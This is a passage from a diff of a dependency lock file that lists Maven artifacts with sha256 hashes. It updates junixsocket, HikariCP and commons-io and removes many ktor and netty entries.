+  "com/kohlschutter/junixsocket#junixsocket-core/2.10.1": {
+   "pom": "sha256-X2WdPNfqInB5jjoHjf1HSbrjMQKoL5m2MjtHHrMfssM="
   },
-  "com/kohlschutter/junixsocket#junixsocket-native-common/2.10.0": {
-   "jar": "sha256-WZMCw5dpJDbc+gWkVatla2vRJlFGJHTQVitmUsAs1FQ=",
-   "pom": "sha256-GqkDQJqo17kCq7NWwSrIsZHh9ZHzojNW7UHKHLGd5IM="
+  "com/kohlschutter/junixsocket#junixsocket-native-common/2.10.1": {
+   "jar": "sha256-ASbOC68c61de9ReAfU0rFLnzLwYYAgThLsc6tKdyVno=",
+   "pom": "sha256-7vhEVBWe4P24IaBxi5X9WVF4G2MCrvC/1m3i0nYdcbQ="
   },
-  "com/kohlschutter/junixsocket#junixsocket/2.10.0": {
-   "pom": "sha256-ZN0FeWBTfzdVjwqAxm7PeX9HgPdD+0NYyRKDVPO7Flw="
+  "com/kohlschutter/junixsocket#junixsocket/2.10.1": {
+   "pom": "sha256-8ABkSjwfJ0vGcH8jmwKrLglfrIeEaCJLQ/GfPm8Cy6c="
   },
   "com/sun/activation#all/1.2.1": {
    "pom": "sha256-NgiDv2RIbs7xYbjygvZQNTbdGmcNU6Coccj7IBcOZ5U="
@@ -215,373 +305,328 @@
    "jar": "sha256-itpMGFznJBZxLWPgta/cXwCcDN9AXl8m7+zfFWql37Y=",
    "pom": "sha256-tn6vqd0iD/h9ANumiACDpSlqXgxsAxA/XUuOHaEDD/M="
   },
-  "com/zaxxer#HikariCP/5.1.0": {
-   "jar": "sha256-pHpu5iN5aU7lLDADbwkxty+a7iqAHVkDQe2CvYOeITQ=",
-   "pom": "sha256-M0sOCm5lucZJw/6Wc5ZjpEEOGpF2ZTgC5ZVJO4YYLyw="
+  "com/zaxxer#HikariCP/6.3.0": {
+   "jar": "sha256-B8Y0QFmvMKE1FEIJx8i9ZmuIIxJEIuyFmGTSCdSrfKE=",
+   "pom": "sha256-F8+ZOdJTM0af1/Yok6f37tnqDIm5UWsEmfQO6xzATfQ="
   },
   "commons-codec#commons-codec/1.11": {
    "jar": "sha256-5ZnVMY6Xqkj0ITaikn5t+k6Igd/w5sjjEJ3bv/Ude30=",
    "pom": "sha256-wecUDR3qj981KLwePFRErAtUEpcxH0X5gGwhPsPumhA="
   },
-  "commons-io#commons-io/2.16.1": {
-   "jar": "sha256-9B97qs1xaJZEes6XWGIfYsHGsKkdiazuSI2ib8R3yE8=",
-   "pom": "sha256-V3fSkiUceJXASkxXAVaD7Ds1OhJIbJs+cXjpsLPDj/8="
+  "commons-io#commons-io/2.17.0": {
+   "jar": "sha256-SqTKSPPf0wt4Igt4gdjLk+rECT7JQ2G2vvqUh5mKVQs=",
+   "pom": "sha256-SEqTn/9TELjLXGuQKcLc8VXT+TuLjWKF8/VrsroJ/Ek="
   },
   "commons-logging#commons-logging/1.2": {
    "jar": "sha256-2t3qHqC+D1aXirMAa4rJKDSv7vvZt+TmMW/KV98PpjY=",
    "pom": "sha256-yRq1qlcNhvb9B8wVjsa8LFAIBAKXLukXn+JBAHOfuyA="
   },
-  "io/fabric8#kubernetes-client-bom/5.12.4": {
-   "pom": "sha256-0jI5KonD79yFqymcWpToud01vALzQM6ERv9lmqFZE6A="
-  },
-  "io/ktor#ktor-client-apache-jvm/2.3.12": {
-   "jar": "sha256-jUdk/2jpo3wGi4rV04IGUXoEDblJo64QvGBrOkh+fVU=",
-   "module": "sha256-2VWmd8iv3LAP/q8AN9VgZfv1dC/AiX642ge16vnnABA=",
-   "pom": "sha256-tgneuINzcp57HNI9mDkHXflDGpXiWnPtRFftVKA4fb4="
-  },
-  "io/ktor#ktor-client-apache/2.3.12": {
-   "module": "sha256-uZxHiSkKmjGTyilTXqRckq4cRXPv7yc4A4TFPxUmYvY=",
-   "pom": "sha256-mjzG7D1nR7fj8R7xESIFvI4BgcPw7F4Pj7VMv4YQ7qE="
-  },
-  "io/ktor#ktor-client-cio-jvm/2.3.12": {
-   "jar": "sha256-dwqtl12squdWroW/1r8Q5K3YRN8wOkv7TeXmL/EFrxw=",
-   "module": "sha256-zqEPvAP6bwO1d3CqcTy2mKeAgaUP3ZcZWxlpwkxcvr4=",
-   "pom": "sha256-qS1354DZM0X8oSzbkopMr8s4qsf+OHkO1s/8EhnSmDo="
-  },
-  "io/ktor#ktor-client-cio/2.3.12": {
-   "jar": "sha256-vTqw/pFlL+KLl5wgDI0x7oZv8Jj6D0q0koQiJ5aN/84=",
-   "module": "sha256-KOFohTgJHMPuoiIwaLt3qw++6U4RJ/k/Bor+ObW43cQ=",
-   "pom": "sha256-mz5GwlJlufGAK9Ec5xEgd6CwpxpAgLYUy+2wThqurSc="
-  },
-  "io/ktor#ktor-client-core-jvm/2.3.12": {
-   "jar": "sha256-tAeoHZLmzUH5LBUPH9MGDV/KNJHOAq+39xNCRAQIHHo=",
-   "module": "sha256-tLgSabjOWrX2/g+F/kfRVoqOlZxKuUtn1XQn6XEzVh4=",
-   "pom": "sha256-DRlPg9ywetvZfpAp+cotuwCcqXJXd8bRuezOqvw7Fns="
-  },
-  "io/ktor#ktor-client-core/2.3.12": {
-   "jar": "sha256-E/nV7COKqNoX8sCAUA0GipY6OKMaFkFQl7hA5fjDv/Y=",
-   "module": "sha256-hCfawQzvA9tUJUm9tArUlCSP/tB5Ar35BeSw6MVB7UU=",
-   "pom": "sha256-0rEDA3TSk+63skT9xwQxmThMh6oJh0Wv+OqCxcnj8fM="
-  },
-  "io/ktor#ktor-client-mock-jvm/2.3.12": {
-   "jar": "sha256-xjHU6dOxNznWeHyh9nA5hAB8HlC4gevgcGuxLuspsbw=",
-   "module": "sha256-wf5eFcAZC4lGfPbsxUYa1JjzeIOh8wIOOX4omMK52yQ=",
-   "pom": "sha256-F7t0BKMvUVYhoTyFB9iANwzzrCAa7SCMDNmdTl7f2T0="
-  },
-  "io/ktor#ktor-client-mock/2.3.12": {
-   "jar": "sha256-6L8mYY0u7NFcyHzqFJ4He1uo/ErfBUiqdbVJjbNpC4k=",
-   "module": "sha256-5BquV2y7T4t6TXW8CGAusXZmmp+4hEw45OIzEOkySzg=",
-   "pom": "sha256-3QYzQvethN844MCuAaFpa3rD1sJtQgn1XnGbWBG54FA="
-  },
-  "io/ktor#ktor-client-websockets-jvm/2.3.12": {
-   "jar": "sha256-1oyl95W+4IelVSiXQe9jhlFJuOUFuy0I5Fyh8x2MYuI=",
-   "module": "sha256-SNST0Ov+mK7puBx4WrgBR30iVTSC2UGUqEaeuPzp4cA=",
-   "pom": "sha256-VxEuZo1G9lKoq7yyVorduwzHbenEQb7+I86hrwYljNo="
-  },
-  "io/ktor#ktor-client-websockets/2.3.12": {
-   "jar": "sha256-qr3hPBfOOQOkZD+X89uWRfRiuDLtXQeDb2WBtNMMoz0=",
-   "module": "sha256-lBQ+mI228ZzeU2u7pdkwc2gxy+OFaPQoH5VSQgpanJ0=",
-   "pom": "sha256-DjRE95fKkOKxq4ZqH799sfnZBQguKl7v0YKoSrDxQyU="
-  },
-  "io/ktor#ktor-events-jvm/2.3.12": {
-   "jar": "sha256-RPCx3msJRxgtJUCNEQHFbPjAGnuAnuAVK9gdmtyapXY=",
-   "module": "sha256-wbvWTDPBa1jkGAsX84UjGAVQl72vhJFKSCNhkxLtJ7U=",
-   "pom": "sha256-PKeHv6OHkBQvbKaLwYR7+AAtHiSDh3nhihK1vwIna5A="
-  },
-  "io/ktor#ktor-events/2.3.12": {
-   "jar": "sha256-dQdvbe9/VwlGkWmYMw0n28OvdhfOyyXRZXyaDUKQFgQ=",
-   "module": "sha256-+Smg6nj7EudbLYIlbMUfGL77D+8ZpGHuuJOJyVG43q4=",
-   "pom": "sha256-OUMSxuErQx+I/6KbrRS7mTXvJRBgyWWhatNcLxEr56w="
-  },
-  "io/ktor#ktor-http-cio-jvm/2.3.12": {
-   "jar": "sha256-J4pcFmJwHbnYn0nnTqdyGO01rYMO//vfRFIuqGFHf0s=",
-   "module": "sha256-h8242b/858zMHPMNH+TENL5anBc2oOIDrwiEFAOm6Wc=",
-   "pom": "sha256-C960VxzRj9wpNqskIn931suo2bzCSD6zGFHQxoR97uQ="
-  },
-  "io/ktor#ktor-http-cio/2.3.12": {
-   "jar": "sha256-gHWsxhXDR76RNDI84n5q+FaBdlDG6P+Ctz2sYq4Tr4Y=",
-   "module": "sha256-hn6EOqx1exbS59G7SoqD3/w4h419o+Oklu8HyJUcCrM=",
-   "pom": "sha256-aFfrGiF/QmxeLH8BdygdTm9cQYhrEbfN8Hkm/M8vp84="
-  },
-  "io/ktor#ktor-http-jvm/2.3.12": {
-   "jar": "sha256-kHERxDmzvUQz0t67aHkg1fjfjGIpto7VQIBdXjdjtqg=",
-   "module": "sha256-HbJfyAaPHE6s8LRgJCSSclOZItL3xCWOUR+F4FhSuMY=",
-   "pom": "sha256-QULK0p5v7rrjm64YKryEmVrsdwRk8lLfT+ZF4aXdfBM="
-  },
-  "io/ktor#ktor-http/2.3.12": {
-   "jar": "sha256-2RVRfiXE5feMUP0Yg3twtGKbhQ7sXmTz5GF8Jj5ovbc=",
-   "module": "sha256-97kqlGhYpGSFonWEZ7EolLEmNK3B1AKQN62Fiec7MOU=",
-   "pom": "sha256-urBNfz5lqaxHnOzij77ymx/UAVkT6ZUZfHbORE9uWGA="
-  },
-  "io/ktor#ktor-io-jvm/2.3.12": {
-   "jar": "sha256-HZOkVmX2dE/5bNe5ekX7hf/scltjvMMn0zomocfgX70=",
-   "module": "sha256-ZH9Yx3f3Z9IIkwbbiF9o9YyJjqGwm4+956NwUC/61BQ=",
-   "pom": "sha256-W8eJXaz7EhDj8C/Qchz7sSaQOaFqr5PppHGpMa9Ufe4="
-  },
-  "io/ktor#ktor-io/2.3.12": {
-   "jar": "sha256-n4jHL7xCPrCerCM9Qc4/npXZJQ4EntgD4HSoIeQsv3U=",
-   "module": "sha256-QCIhmbDLWK9t6Kv8UzMIVLv3h05GYpsma49J68XW54U=",
-   "pom": "sha256-WAtT3KPqyxvto29WIH+8uA3T9hk5h5/iEhd/G2RLJb8="
-  },
-  "io/ktor#ktor-network-jvm/2.3.12": {
-   "jar": "sha256-CVq4r6salAjlWmf8pvL5aEhXNRnd0i5+jrHBfcS8jRs=",
-   "module": "sha256-RY/WkadOYMNEVz1lTtAs7xDaPdV3uuyRkfWhP1/j8U8=",
-   "pom": "sha256-/kwlQPBd9w5Hte16eitwQM0+djEscT6Q6BSIHOEL5K8="
-  },
-  "io/ktor#ktor-network-tls-certificates-jvm/2.3.12": {
-   "jar": "sha256-LOTzE8BNgWmamFhibm8NvrAzw8MXiayyR4ZqGtU3Ctw=",
-   "module": "sha256-oOIhlv7kjsEGCmsIfnjDzsS5SVEbd1YfI82fM30fXIo=",
-   "pom": "sha256-qX7YO8bHjRnAkYPsf3Kyyoq7uLepCIqpL1xA/NHAveY="
-  },
-  "io/ktor#ktor-network-tls-certificates/2.3.12": {
-   "module": "sha256-md9Pi2llS898JAraQCpR7Bn9Cw/dKBgUjpKQkR0RAag=",
-   "pom": "sha256-lr4TldgKOyVB0kUY2ZhZRM/KFtvPzkaPci6xW1evCzw="
-  },
-  "io/ktor#ktor-network-tls-jvm/2.3.12": {
-   "jar": "sha256-K3S/ahd3ZlhSAQbeUTffncNd+Kwe0BYk+DQJli0SinU=",
-   "module": "sha256-j6Zi98C2xQwnB8qO+2zz5bJJ6+ca/yCBe6txZoWTVIw=",
-   "pom": "sha256-8G26Qv0GNX/7XnTmPHDXaTVI/gXAhDumMgQfMiG0ZOc="
-  },
-  "io/ktor#ktor-network-tls/2.3.12": {
-   "jar": "sha256-pQkzuB2+4tWiAAC4Oc0hjNs9q/bmvDUVMsSM1qLJpqc=",
-   "module": "sha256-jjrtuQYKU5TcFUNc7bcC9w+LQedRkgGW3PzbL2KMSzU=",
-   "pom": "sha256-Jj+UZubuHisfJg63KR9ZSrKctZ4qW2VP1Brrwnbuwc4="
-  },
-  "io/ktor#ktor-network/2.3.12": {
-   "jar": "sha256-DtndmA73WUWELdRZzNbj2juMgEPqh7B1rlCwVNcwMaE=",
-   "module": "sha256-bfkcWAtGbzCli0Pvoy05ZehZj8Wo92nUIVPWARZllhY=",
-   "pom": "sha256-YiKMbrnpWXhKx7lk1Mt7PhqiXDHARQJoTJdkYLtkQII="
-  },
-  "io/ktor#ktor-serialization-jvm/2.3.12": {
-   "jar": "sha256-DgVTT7w7CUESe27znnBcNMNn2uiwoIKQcBxg6X6I+nI=",
-   "module": "sha256-GTKCfmbOzf9dgIaAjJdK/es3fM/bL50f+UBFdX8o1LE=",
-   "pom": "sha256-NrmT7RV8Xg2N6VDQjNIZyykQnY37JPYIyonzI062VzA="
-  },
-  "io/ktor#ktor-serialization-kotlinx-json-jvm/2.3.12": {
-   "jar": "sha256-S5nwc91m561Dy6YLUlmHb4WnXga4TOmzt4m5FZ+0Fwc=",
-   "module": "sha256-Tmgm6TN3WGWkhqV0PLOdO4Was6FvY6Wper644osYLyQ=",
-   "pom": "sha256-7leUKeRFBy7mX49AQ1YQ9RWopYKFH/ClUjha0OhqLEg="
-  },
-  "io/ktor#ktor-serialization-kotlinx-json/2.3.12": {
-   "jar": "sha256-qtaRy5Dm0tfu5aTALTpbyMxt23SrhXYyC6fiarMZm84=",
-   "module": "sha256-hVgEVad6tmzdj3yFJ9dgXTniwLb30IoGgx4Hs87XVMw=",
-   "pom": "sha256-P7B5ls1U5caVkKaHbVXdC93JqonQIK7T+dxZ3zVDR6A="
-  },
-  "io/ktor#ktor-serialization-kotlinx-jvm/2.3.12": {
-   "jar": "sha256-xhQnYJ9dbw45jfvySnyafftK1ZDon1TFwCHNfHEtSn8=",
-   "module": "sha256-UO9Nf4ee4QDi2uz81/tHpIX7/CPcNXDAPki21LZIfgg=",
-   "pom": "sha256-XbOFoQf2k+Mgk+TrG92VWfIqVsJdvxkN77eCrAtQocI="
-  },
-  "io/ktor#ktor-serialization-kotlinx/2.3.12": {
-   "jar": "sha256-+lu+kbBqPGUW1olfbvKp15rAEJO5jDKAzCv/+kgktQg=",
-   "module": "sha256-giYVZjIHuPTT72bZO+yzk1QhDhUEgOcHrI/LFkmYPRA=",
-   "pom": "sha256-1WBIrQOYmjq3ZFiYEZZ/Pt3edNBwPNGIQyS4LWCDHZc="
-  },
-  "io/ktor#ktor-serialization/2.3.12": {
-   "jar": "sha256-I/oFsvofdMi+5JsvpNCmzRaXdvXLw7e00I5nfmr7n14=",
-   "module": "sha256-k6tLV6lbcXNH6smUDI5QkhvQ2EBKw4j6mDlLRaqMRGo=",
-   "pom": "sha256-Q3WCoJTbZp2kPogfpctbs8IGJ+O+HgNkqk53hSqrG4Q="
-  },
-  "io/ktor#ktor-server-call-logging-jvm/2.3.12": {
-   "jar": "sha256-2ZCFAv3jI23WSkP3y/oXle6p4IPPmzCkSFRPzMIIrGg=",
-   "module": "sha256-+J2mtOQ1mwqjIiUe8T6ky3EgQHGYAmaRp2TRDObvuG0=",
-   "pom": "sha256-TJ50lHBMUZo3HK8rEKLQc+N+Y+eILBKwkxgJRaGGBgo="
-  },
-  "io/ktor#ktor-server-call-logging/2.3.12": {
-   "jar": "sha256-9bcBSzx89lyNPJHPmlMZ2NvmMC36i3K1JdgM/j4rYVo=",
-   "module": "sha256-/gl5sCeKn7fHWqq40aZwG6sB1l4D8GnD01+owcbvbJ0=",
-   "pom": "sha256-ffw5Qb9VTBapmMGzVZRvj+dZxy/nSw+f35mKA/wnrGQ="
-  },
-  "io/ktor#ktor-server-content-negotiation-jvm/2.3.12": {
-   "jar": "sha256-8z3S07/SLoQtPNs4mdxiP97xiFMSM+yKa3e5YQG5zyo=",
-   "module": "sha256-WXSV3kPdEANtI6+wRUzreZf2V1zsYZTSOCgxgEW94Lk=",
-   "pom": "sha256-hWxlgYry3cH5pS6I1SjPFSxEdRyayXDuu5CdfeQLRTU="
-  },
-  "io/ktor#ktor-server-content-negotiation/2.3.12": {
-   "jar": "sha256-QIzMqhJQVC3Gi3IeChoqzrgcYscmJspE8CR6pwGwtmI=",
-   "module": "sha256-lsoYcODLo0DAiScd3BmRis714ZJ7GFxgpI4FYd1mJ5I=",
-   "pom": "sha256-IALFuzN7YJ+v2MRY/tYNCWd2ElitDT5y7jJfwO833e8="
-  },
-  "io/ktor#ktor-server-core-jvm/2.3.12": {
-   "jar": "sha256-87MLoTVXIKOf3iFGDODMOoMiJBcjbX3m/f/lQnZFNrk=",
-   "module": "sha256-52SohTBiijvw2ZKu+SW07XDSpqg8ifA2VvI1F9mrTL8=",
-   "pom": "sha256-cq2x0bdiWEQ67EiZYMT9LSF3K3PWHpgzrRJcJLUHQ34="
-  },
-  "io/ktor#ktor-server-core/2.3.12": {
-   "jar": "sha256-PztUA1uh8KXfyq3LoJd62JDVDEUa7iLVPvTVa1Om/O4=",
-   "module": "sha256-dxeztTJwrTUrCERm26NRI/GEhF31hHbhQiN84n7p4f4=",
-   "pom": "sha256-guqcwPrUbOmUfZntglGkJehvBkEGhz2gsbBkLt+CT2o="
-  },
-  "io/ktor#ktor-server-cors-jvm/2.3.12": {
-   "jar": "sha256-xwTT3tMN9HlLRgNECdlNMhCPD3ocLQbn0Sr77fj+Xds=",
-   "module": "sha256-kFyfIXxcaklf2uCwwU6S+S5KspVDhXi3Frxpmp0AFps=",
-   "pom": "sha256-1iX13wJiGJScyoDJ+NoseRZZk/Aei7TEUDMiph/dVwI="
-  },
-  "io/ktor#ktor-server-cors/2.3.12": {
-   "jar": "sha256-fIHP5xLja3p1sC0m7muVaH3W2qJkcOeZ6HEtjNVdSo8=",
-   "module": "sha256-g1jmADVcZB6gsCt1cdT2QsA8/rPHIP3R9UrOncRfsdI=",
-   "pom": "sha256-XxeuBgyCjFqWa62syZ0Tk3sEH1OLg+h7+eT9nqP8HxE="
-  },
-  "io/ktor#ktor-server-forwarded-header-jvm/2.3.12": {
-   "jar": "sha256-PSYjHAFFbvj9l+lrt22wQfIrnDCEVHopoptivwTe1aw=",
-   "module": "sha256-Wp2PoyeUo3JnSJEV4e+I4HOwm1VWcdwSWQeMksSZhgw=",
-   "pom": "sha256-0SoFCtfFOsVuBjygUznMx+S0lLczzPQVMj9CZTDA/VU="
-  },
-  "io/ktor#ktor-server-forwarded-header/2.3.12": {
-   "jar": "sha256-rBeywfo/ojJHL/BeKB0Zvfm93jeb890IJNPNIFS3IoI=",
-   "module": "sha256-BNPJlnykEq8aRxuu04rcMg623ftRVAbyAeMfqgOUkws=",
-   "pom": "sha256-lqtff9lawr1yAleT934ws+tpU2N3E5mWVfRu5ikF0SA="
-  },
-  "io/ktor#ktor-server-host-common-jvm/2.3.12": {
-   "jar": "sha256-PqCwuI/69rOzyL9QbowWi3oK2Sb5YRY4kQ6PszSs+Y0=",
-   "module": "sha256-KaTlZZjUo/QHi1AsjAZDQI0kvFxKwqhvoINV+LpwWsA=",
-   "pom": "sha256-y8TqBs6yF4ydBR0mOgFpdMFsFP03vcarYvRe3BIqTHs="
-  },
-  "io/ktor#ktor-server-host-common/2.3.12": {
-   "jar": "sha256-rszGWDfMza0w0iSK/EGgMmYW4PtIEQ7MdC9FxHAueng=",
-   "module": "sha256-6SXz35o/7+m5wu6LuCJ+r4wzzBfeVQ+X4TPBVb/YxDc=",
-   "pom": "sha256-OrIB6jqq9j02JL7E1rkZ5Gs5ZDsolT9V8pjb21Cm3Mw="
-  },
-  "io/ktor#ktor-server-netty-jvm/2.3.12": {
-   "jar": "sha256-fB6Wuez726JFtTnCKRvZ/V6qk5EDJxNqhZenY9G3zKU=",
-   "module": "sha256-uPdqMoqrgXqUMo3zTPtJoXnGAdbgAKG6uybuXxWJmcI=",
-   "pom": "sha256-PShkR8o1JXiLOKF6rs/Qs8utUIUEpeeNTltQIwM5gtQ="
-  },
-  "io/ktor#ktor-server-netty/2.3.12": {
-   "jar": "sha256-Wkb9vED9LXglmIPEzG6vO14pDdB9HEbqiO6j1I9QV3I=",
-   "module": "sha256-zdTXhSg8NRXKb3hybIzhm540a80u5nyzKWByFTsopMs=",
-   "pom": "sha256-OuuYhKZvErNF8KiUo2kg/9VRITL46mQExWJNao/g/R4="
-  },
-  "io/ktor#ktor-server-status-pages-jvm/2.3.12": {
-   "jar": "sha256-0BCgY9Z8xAZ/uVECbeo5YpCB9/3por8HTHjp4ymz32o=",
-   "module": "sha256-z6BiRbNtUJBj12FUc/zn1tgiv60/BeP7hKBGdA4/oGY=",
-   "pom": "sha256-fmR0X09A7841Xi5cvPO1paM/0mew7TshUdthpcGHIlY="
-  },
-  "io/ktor#ktor-server-status-pages/2.3.12": {
-   "jar": "sha256-1cJm3V9RVm8SvS+M/sf9cl4u4FSt3VTKzKrb8hcPDzw=",
-   "module": "sha256-uNoB5ZdeqdJcEOziZK66a55f8DeDUqDYLGSgvBArflg=",
-   "pom": "sha256-FJUnS6kEF6+rkfdoGkEVWS3H0eyQGLDiOHIo5CV+zcI="
-  },
-  "io/ktor#ktor-server-test-host-jvm/2.3.12": {
-   "jar": "sha256-0Y+qYjowBfvy3ta0WZCg4CUZ7S/NAqEebs7trSRHB4g=",
-   "module": "sha256-a3GD2blocgML02f1k6ZiwaZYAglMDBN9GdJmXf/RNKY=",
-   "pom": "sha256-zt86IcY+yAJNxU6MGTI2XHxKF9q0pN428Q8bYXl3UaU="
-  },
-  "io/ktor#ktor-server-test-host/2.3.12": {
-   "jar": "sha256-RaLXEGOGVhiWAnsk67ZOFU9hQuRzGYLpGtKhiWJgX8A=",
-   "module": "sha256-dLj9g4R9I6nRXjzWFC/WxnjhiTPT/sc/dAo6481zv0c=",
-   "pom": "sha256-6wWYAdVMCxSPHV7ltcT3B9SSayFnE5FYSSmB6dW/tC4="
-  },
-  "io/ktor#ktor-server-websockets-jvm/2.3.12": {
-   "jar": "sha256-W4FiW1RiVsaKYSrBJ/mbqJS8hVlyzMH0KssW9X87c0k=",
-   "module": "sha256-DMchLiP0ke8h0VY58khcgj1WPdVb92nvFaZP+Hl+uLo=",
-   "pom": "sha256-Z56Qmr0F3rPThB2pxIk++JTybhan+FLflikP2PqnB8M="
-  },
-  "io/ktor#ktor-server-websockets/2.3.12": {
-   "module": "sha256-iNhH2pdYDCZfRZOowbTPGkhmW0x8VzhE12+zy6BQnRI=",
-   "pom": "sha256-INYWpc8A9/yIRykFu1JwAwGfI4Xg0vUfEu8HOZuhNaw="
-  },
-  "io/ktor#ktor-test-dispatcher-jvm/2.3.12": {
-   "jar": "sha256-uLeCuPvzyY/wbbYL0/P4wxc/a/PWDYZpsdO3pLQWa24=",
-   "module": "sha256-ZvMSVFkDbgFKVHFEJti1cCOSJstiqIheExBP/xZoxp0=",
-   "pom": "sha256-NzeYrCfmSOP4Sevz5F2cOPMdd8iyMzP4UtLbH1kprmg="
-  },
-  "io/ktor#ktor-test-dispatcher/2.3.12": {
-   "jar": "sha256-m1L5EwHLh9TSOmp8/mzYXlGTXSI8HKf+RF+UwNuee3E=",
-   "module": "sha256-AaVKAzqbS8iPPWyQxQ8EEGMDKeVSgs0gyb1EYGNbylU=",
-   "pom": "sha256-0IfYPn6lFibhi2D1BEznni5qsujP4pHPWuHk7eIjzCw="
-  },
-  "io/ktor#ktor-utils-jvm/2.3.12": {
-   "jar": "sha256-anLWhnMwBl7UYZUv/xnqVbqEQ1L3SM7Bhy9bx7Ie/AI=",
-   "module": "sha256-rYMuChkwgwCinDQNvY2I0pAcLzuw+CFhrWamLSB4VgQ=",
-   "pom": "sha256-Xi3ckkIaAAWDUdMPo45yB6qYsZ6fLYCYRFmIB3yPNGE="
-  },
-  "io/ktor#ktor-utils/2.3.12": {
-   "jar": "sha256-SJeUj4AL85YHGPuaWv9QErcht7iWZjhZWCbGstp8TiU=",
-   "module": "sha256-Rxwq3h1BTGX6Y9C0LIdLqcuUhGsZQQnD0PAEOwtnt6E=",
-   "pom": "sha256-lIfQwBRDfsjcthP6Gl345WmTsc7wQqKXMPw99SQlsrg="
-  },
-  "io/ktor#ktor-websocket-serialization-jvm/2.3.12": {
-   "jar": "sha256-v/iQ16thcVUa5PBjLprsy5BI3zHW1zz1Cr1bMwCArTo=",
-   "module": "sha256-PeyRtQnxTtpFGjWpyOY+bmuNJz/4i2u74BK7dTzdOwk=",
-   "pom": "sha256-pqTtw4NX9DjErB5Zbqp4SILGmurmVz1ksaKrc/cNBp0="
-  },
-  "io/ktor#ktor-websocket-serialization/2.3.12": {
-   "jar": "sha256-JCEwwgnDIoLZ8g7EnlfXSBihpyiADs2QLe7dzwURgMU=",
-   "module": "sha256-lbcbDeXFGs93fnTXkCAnFoZi59dR3aU7lJ/C+ChHSuE=",
-   "pom": "sha256-eU8LskUjFQQH8+ZTrYqUYzKptPmp1ryv/RBlvxN9iSw="
-  },
-  "io/ktor#ktor-websockets-jvm/2.3.12": {
-   "jar": "sha256-3DXMU59N+lpK2bORwU0GUn36xPZLPj8FD1FDzrIVvKQ=",
-   "module": "sha256-Xcz1g9dBybFg9pnYyGS53n6JrFz+f2fTHQIHvaejvl0=",
-   "pom": "sha256-Pc9D1TtWf3T3z2VvF/r7QfRtqztf+6AHZ2EsJH/W7Rw="
-  },
-  "io/ktor#ktor-websockets/2.3.12": {
-   "jar": "sha256-XdKULp+AhVyqGFXiShT3DxqHWcg3tFTplRdqPMl3QVg=",
-   "module": "sha256-7biouqRoijD0YqQtIuirAHY4HvISCkwKqyasIkTsQaw=",
-   "pom": "sha256-fikEQUdSd1ifC2TgEptfmZHQir9YQwZCzMXfiYbEh+E="
-  },
-  "io/netty#netty-bom/4.1.107.Final": {
-   "pom": "sha256-w2mXVYv7ThHyAN2m7i5BpF8t+eGu9njtoI553Yk4whA="
-  },
-  "io/netty#netty-buffer/4.1.111.Final": {
-   "jar": "sha256-fZS2Cfs2r9iDBMc5IkEdCPOD95RaqIK1mhUhm17L+3Y=",
-   "pom": "sha256-avx+dR4KkNLLEWj2pIVNgL87qIgQSvqzAyM80xaE9LQ="
-  },
-  "io/netty#netty-codec-http/4.1.111.Final": {
-   "jar": "sha256-v1DCEsrsh2u2+6hbdPGEgtoteCTdB2bxgpyp+TqgGlI=",
-   "pom": "sha256-gDcuPm5huos6vmI5ZMmGN2VotrvscFrbKdKpWc17n4w="
-  },
-  "io/netty#netty-codec-http2/4.1.111.Final": {
-   "jar": "sha256-qeubBicEH0iR3pKqiWSZrjNM32B9ug3N+v01FqfQ7Mo=",
-   "pom": "sha256-x/AyWqTHXJ6uHjiDBtx9EEJsaipsj3Evh29YpLwVft4="
-  },
-  "io/netty#netty-codec/4.1.111.Final": {
-   "jar": "sha256-pjrHE/YOwLjiu4GCZl0hZmLR9HSHLsXDaNJfFfVE9Lw=",
-   "pom": "sha256-bHMiRpMuE1Z6M8Liuf1KpR1zKvuqdxN8UmCoR+PQo38="
-  },
-  "io/netty#netty-common/4.1.111.Final": {
-   "jar": "sha256-muEumon1nOJPsjOFH92T48Lfrrn6AsYGJ81n+nVhhx0=",
-   "pom": "sha256-uceDN2Fr+NVNVRW6tsuh3y20b9sBtBJDTMf7r+eDRcU="
-  },
-  "io/netty#netty-handler/4.1.111.Final": {
-   "jar": "sha256-GgNGcsomyL5iRcjoZBspeF7SwBhhe7Ldfge+Offqcfw=",
-   "pom": "sha256-9XXURvpc1Ua+T84LvzTBRAQXYbidp3lx4wv4PUKQXRs="
-  },
-  "io/netty#netty-parent/4.1.111.Final": {
-   "pom": "sha256-lrBVrnr38eMts9cmGRjZAPuhXh5YnM1oL5z9V0QkmlE="
-  },
-  "io/netty#netty-resolver/4.1.111.Final": {
-   "jar": "sha256-eOc1dG0fmMqJeTF2NZyXrVu2OT7GPNKWLzDbQ74JDhs=",
-   "pom": "sha256-11JAU0WdQlycu7+T8Hk1BMTQFIx1+0naqz4U1OTTjvA="
-  },
-  "io/netty#netty-transport-classes-epoll/4.1.111.Final": {
-   "jar": "sha256-0jDRaA0VF8fXsuJe9qmofCLrvPJkoNqOgHc08Vt8fK4=",
-   "pom": "sha256-S2Dz1R7m1+WtWC5bAbSLfemiOu1SHjiHmoWGJVlk5E8="
-  },
-  "io/netty#netty-transport-classes-kqueue/4.1.111.Final": {
-   "jar": "sha256-YF/aKEplw4jiI1xWdmstmTiz1NHXJKSxe6P/8Fc8bto=",
-   "pom": "sha256-VkLEWRfCHoogtUYuQmEvNxbPFFs5oxxzzGk4DO5Wa4k="
-  },
-  "io/netty#netty-transport-native-epoll/4.1.111.Final": {
-   "jar": "sha256-nURkDSonUsX2p1wTI8vv4tdfx2JAjnSiSB11TGYm/bk=",
-   "pom": "sha256-wUs+Z3QJhxrhy4BDbdBpRVka4gHOPMlttqUpV8e55XQ="
-  },
-  "io/netty#netty-transport-native-kqueue/4.1.111.Final": {
-   "jar": "sha256-dTGy/wUYKY22fO7eO/EFbdL6otnvFMJX4A5uQERVShE=",
-   "pom": "sha256-0b9EjO2XA+QeY/U5+FIyRvKhY0NN30Mw0hMmLnMdVwc="
-  },
-  "io/netty#netty-transport-native-unix-common/4.1.111.Final": {
-   "jar": "sha256-7EvUV07h7HdqGxQTn7aZgt339QOagDCCB0qB9mBOytI=",
-   "pom": "sha256-LqcKGGSrOPzsK9woxp7pdW261YpGJsZkVU08hg1UCYE="
-  },
-  "io/netty#netty-transport/4.1.111.Final": {
-   "jar": "sha256-SaPMC200I0DwmA8EcCbbdBYcGeoqB3U6FLTSLuBlOqU=",
-   "pom": "sha256-hmK9XX9i03JUj0CtiWuH6lXCsdF5Ap75hYN9zkOlImk="
-  },
-  "it/unimi/dsi#fastutil-core/8.5.12": {
-   "jar": "sha256-8xwg9bBjEvPV4G5hYKMuJ02BmqbOvydSiya2tcDB3xk=",
